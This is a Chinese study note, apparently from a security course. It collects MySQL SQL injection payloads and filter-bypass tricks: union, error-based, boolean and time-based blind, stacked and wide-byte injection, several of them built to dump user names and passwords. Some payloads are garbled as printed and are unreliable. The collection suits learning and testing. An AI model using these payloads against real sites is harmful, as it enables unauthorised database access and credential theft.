#第六周 数据库相关注入语句的收集和学习

1、收集网络上各种 sql 注入时使用的 payload 并理解其适用的环境（检测注入、利用注入）

2、记录 sqlmap 的检测和利用过程中使用的 payload（也算一种 payload 收集方式）

3、理解以上涉及的 sql 语句的意思，其中会涉及不同的数据库、不同注入场景，可以将学习的过程和收集的方式进行整理形成报告，关于 payload 的理解，其中会涉及之前学习的基础。

扩展学习：理解 sqlmap 自带 tamper 的原理，这里通常包含很多数据库的特性，从而实现 payload 变形啥的，用来绕过一些简单的安全检测

一、简书收集

注： 以下payload均基于单引号字符型注入。若是整型注入，需将单引号与后面的注释符(--+)都去掉；若是双引号注入，需将单引号改为双引号。

可联合查询注入

使用情景：页面有显示位。
优点：语句简单，快速。
缺点：条件苛刻。

原理：通过显示位，直接爆出所查信息。

> 1.判断当前数据表中有几列:
> ?id=1' order by 数值 --+
> 2.查看显示位在第几列(这里假设共有3列):
> ?id=-1' union select 1,2,3 --+
> 3.显示当前数据库(假设显示位在第3 列):
> ?id=-1' union select 1,2,database() --+
> 4.查询当前数据库的所有表:
> ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
> 5.查询所有数据库 :
> ?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
> 6.查询某个数据库中的表 (此例为 db1 数据库):
> ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
> 7.查询某个表中的所有字段 (此例为 message数据库中的users 表):
> ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
> 8.查询某个表中的字段内容(此例为 message数据库中的users 表):
> ?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+

报错型注入（常存在 部署于开发环境的）

使用情景：服务器开着，有mysql_error()的报错信息，但是没有显示位。
优点：没显示位也可用，快速。
缺点：语句复杂。

原理：根据详细的报错信息。可以查看到数据库中的所有内容。

> floor 类型
> 固定格式：(星号位置替换为查询语句即可)
> ?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(**),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+**
>
> *1.爆数据库：*
> *?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(select distinct table_schema from information_schema.columns limit 1,1),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+*
> *小提示：由于报错信息每次只能显示1行，所以此处使用limit，通过修改limit后的第一个数值，可依次爆出所有内容。下同。*
>
> *2.爆表名（此例为message数据库）：?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='message' limit 2,1),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+*
>
> *3.爆字段（此例为message数据库的users表）：*
> *?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+*
>
> *4.爆内容（此例为message数据库的users表）：*
> *?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+*

布尔类型注入sql盲注

优点：通用性强，可以没有显示位，可以没有报错信息
缺点：慢。

原理：根据返回页面是否正常，判断值的范围，通过二分法最终确定具体的值

使用到的函数：
exists() 查询至少返回一条数据
返回：true or false
ascii() 返回一个字符串最左边ascii码的值
substr() 三个参数，一：字符串，二：开始位置，三：长度 mysql中开始位置从1开始。
length() 计算长度函数

> payload:
> 1.查询所有数据库

1. 查询数据库个数:
   ?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
   77为随意输入数字，可通过二分法确定最终值。下同。
2. 查询某一个数据库的长度:
   ?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
   3)查看某个数据库名:
   ?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata

limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值，依次查看每一个字符

> 2.查询某个数据库的所有表
> 1)查询表的个数 (此例为message数据库中的表):
> ?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message') < 77)--+
> 2)查看某个表名的长度(此例为message数据库中的表):
> ?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
> 3)查看某个表名(此例为message数据库中的表):
> ?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
> 通过改变limit与substr的值，依次查看每一个字符

> 3.查询某个表中的所有字段
> 1)表中字段的个数（此例中为message数据库中的users表）：
> ?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users') < 77)--+
> 2)查看某个字段名的长度（此例中为message数据库中的users表）：
> ?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
> 3)查看某个字段名（此例中为message数据库中的users表）：
> ?id=1 ' and ((select ascii(substr((select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
> 通过改变limit与substr的值，依次查看每一个字符

> 4.查看内容
> 1)查看表中的行数（此例中为message数据库中的users表）：
> ?id=1' and ((select count(*) from message.users) < 77)--+
> 2)查看某个字段对应内容的长度（此例中为message数据库中的users表）：
> ?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
> 3)查看某个字段名对应内容（此例中为message数据库中的users表中的name字段）：
> ?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
> 通过改变limit与substr的值，依次查看每一个字符

二、先知社区收集

Sqlmap支持的五种sql注入：

1.基于报错的sql注入

1）floor报错注入

经典floor报错注入语句：

```
（1）select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
（2）select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
```

2）UpdateXml报错注入

```
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM
information_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~users'
```

获取字段名和内容的命令格式类似

3）ExtractValue报错注入

```
mysql> select extractvalue(1, concat(0x5c,(select table_name from
information_schema.tables where table_schema=database() limit 3,1)));
ERROR 1105 (HY000): XPATH syntax error: '\users'
```

- **整数溢出报错函数**

pow(),cot(),exp()

```
mysql> select * from ctf_test where user='2' and 1=1 and cot(0);
ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)'
mysql> select * from ctf_test where user='2' and 1=1 and exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
```

- **利用几何函数进行报错注入**

几何函数进行报错注入，如`polygon()`,`linestring()`函数等，姿势如下：

```
mysql> select * from ctf_test where user='1' and polygon(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found
during parsing
mysql> select * from ctf_test where user='1' and linestring(user);
ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found
during parsing
```

- **对于insert,delete,update三种操作的注入**

对于select类型操作其实是最常见，最容易上手的，但insert,delete,update三种操作的注入也很重要，下面是总结的这三种注入的操作姿势。

报错注入

insert报错注入

```
insert into ctf_test(`user`,`pwd`) value('1' or updatexml(1,concat(0x7e,(select
database()),0x7e),1) or '','2');
```

update报错注入

```
update ctf_test set user=1 where pwd='2'  and updatexml(1,concat(0x7e,(select
database()),0x7e),1) and '';
```

delete报错注入

```
mysql> delete from ctf_test where user='1'  and updatexml(1,concat(0x7e,(select
database()),0x7e),1) and '';
ERROR 1105 (HY000): XPATH syntax error: '~test~'
```

时间盲注

insert类型

```
mysql> insert into ctf_test(`user`,`pwd`) value('1' and sleep(3) and '','2');
Query OK, 1 row affected (3.00 sec)
```

2.基于布尔的注入

通过构造sql语句，通过判断语句是否执行成功来对数据进行猜解。

查看表名：

```
select table_name from information_schema.tables where table_schema=database()
limit 0,1;
```

无论输入什么只有正确和错误的，那么就可以判断是基于布尔的注入

3.基于时间的盲注

基于的原理是，当对数据库进行查询操作，如果查询的条件不存在，语句执行的时间便是0.但往往语句执行的速度非常快，线程信息一闪而过，得到的执行时间基本为0。但是如果查询语句的条件不存在，执行的时间便是0，利用该函数这样一个特殊的性质，可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理

```
mysql> select if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1);
```

与基于布尔注入相比，基于时间的盲注使用了if语句来进行判断

4.联合查询注入（union injection）

联合查询注入的前提条件是页面上有显示为位，在可以使用union的情况下进行联合查询注入

联合注入的过程：

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名

8、获取字段中的数据

5.堆查询注入（stack injection）

堆查询注入也称为堆叠注入，通过添加一个新 的查询或者终止查询，可以达到修改数据和调用存储过程的目的，

可以同时执行多条语句的执行时的注入。

三、博客收集

1.绕过空格（注释符/* */，%a0）：

两个空格代替一个空格，用Tab代替空格，%a0=空格：

```
%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/
```

最基本的绕过方法，用注释替换空格：

```
/*  注释 */
```

```
MariaDB [(none)]> select/**/schema_name/**/from/**/information_schema.schemata;
+--------------------+
| schema_name        |
+--------------------+
| challenges         |
| information_schema |
| mysql              |
| performance_schema |
| phpmyadmin         |
| security           |
| test               |
+--------------------+
7 rows in set (0.00 sec)
```

使用浮点数：

使用浮点数：

```
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
```

2.括号绕过空格：

如果空格被过滤，括号没有被过滤，可以用括号绕过。

在MySQL中，括号是用来包围子查询的。因此，任何可以计算出结果的语句，都可以用括号包围起来。而括号的两端，可以没有多余的空格。

例如：

```
select(user())from dual where(1=1)and(2=2)
```

这种过滤方法常常用于time based盲注,例如：

```
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
```

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database（）第一个字符ascii码是否为109，若是则加载延时。

3.引号绕过（使用十六进制）：

会使用到引号的地方一般是在最后的`where`子句中。如下面的一条sql语句，这条语句就是一个简单的用来查选得到users表中所有字段的一条语句：

```
select column_name  from information_schema.tables where table_name="users"
```

这个时候如果引号被过滤了，那么上面的`where`子句就无法使用了。那么遇到这样的问题就要使用**十六进制**来处理这个问题了。
`users`的十六进制的字符串是`7573657273`。那么最后的sql语句就变为了：

```
select column_name  from information_schema.tables where table_name=0x7573657273
```

4.逗号绕过（使用from或者offset）：

在使用盲注的时候，需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用`from to`的方式来解决：

```
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
```

使用join：

```
union select 1,2     #等价于
union select * from (select 1)a join (select 2)b
```

使用like：

```
select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'
```

对于`limit`可以使用`offset`来绕过：

```
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
```

5.比较符号（<>）绕过（过滤了<>：sqlmap盲注经常使用<>，使用between的脚本）：

使用greatest()、least（）：（前者返回最大值，后者返回最小值）

同样是在使用盲注的时候，在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符，那么就需要使用到 `greatest` 来进行绕过了。

最常见的一个盲注的sql语句：

```
select * from users where id=1 and ascii(substr(database(),0,1))>64
```

此时如果比较操作符被过滤，上面的盲注语句则无法使用,那么就可以使用 `greatest` 来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。

那么上面的这条sql语句可以使用 `greatest` 变为如下的子句:

```
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
```

使用between and：

between a and b：返回a，b之间的数据，不包含b。

6.or and xor not绕过：

```
and=&&  or=||   xor=|   not=!
```

7.绕过注释符号（#，--(后面跟一个空格)）过滤：

```
id=1' union select 1,2,3||'1
```

最后的or '1闭合查询语句的最后的单引号，或者：

```
id=1' union select 1,2,'3
```

8.=绕过：

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union，select，where等：

（1）使用注释符绕过：

常用注释符：

```
//, -- , /**/, #, --+, -- -, ;,%00,--a
```

用法：

```
U/**/ NION /**/ SE/**/ LECT /**/user，pwd from user
```

（2）使用大小写绕过：

```
id=-1'UnIoN/**/SeLeCT
```

（3）内联注释绕过：

```
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM
/*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
```

（4） 双关键字绕过（若删除掉第一个匹配的union就能绕过）：

```
id=-1'UNIunionONSeLselectECT1,2,3--
```

10.通用绕过（编码）：

如URLEncode编码，ASCII,HEX,unicode编码绕过：

```
or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
```

11.等价函数绕过：hex()、bin() ==> ascii()

`sleep() ==>benchmark()`

`concat_ws()==>group_concat()`

`mid()、substr() ==> substring()`

`@@user ==> user()`

`@@datadir ==> datadir()`

`举例：substring()和substr()无法使用时：?`
`id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74`

`或者：`
`substr((select 'password'),1,1) = 0x70`
`strcmp(left('password',1), 0x69) = 1`
`strcmp(left('password',1), 0x70) = 0`
`strcmp(left('password',1), 0x71) = -1`

12.宽字节注入：

过滤 ' 的时候往往利用的思路是将 ' 转换为 ' 。

在 mysql 中使用 GBK 编码的时候，会认为两个字符为一个汉字，一般有两种思路：

（1）%df 吃掉 \ 具体的方法是 urlencode(') = %5c%27，我们在 %5c%27 前面添加 %df ， 形成 %df%5c%27 ， 而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字，%df%5c 就是一个汉字，%27 作为一个单独的（'）符号在外面：

```
id=-1%df%27union select 1,user(),3--+
```

（2）将 ' 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27 ， 后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数：

1.replace（）：过滤 '\ ，将 ' 转化为 ' ，将 \ 转为 \，将 " 转为 " 。用思路一。

2.addslaches()：返回在预定义字符之前添加反斜杠（\）的字符串。预定义字符：',",\ 。用思路一

（防御此漏洞，要将 mysql_query 设置为 binary 的方式）

3.mysql_real_escape_string()：转义下列字符：

```
\x00    \n    \r    \    '    "    \x1a
```

参考链接：

https://www.jianshu.com/p/ce54e99ee789

https://xz.aliyun.com/t/5505

https://www.cnblogs.com/Vinson404/p/7253255.html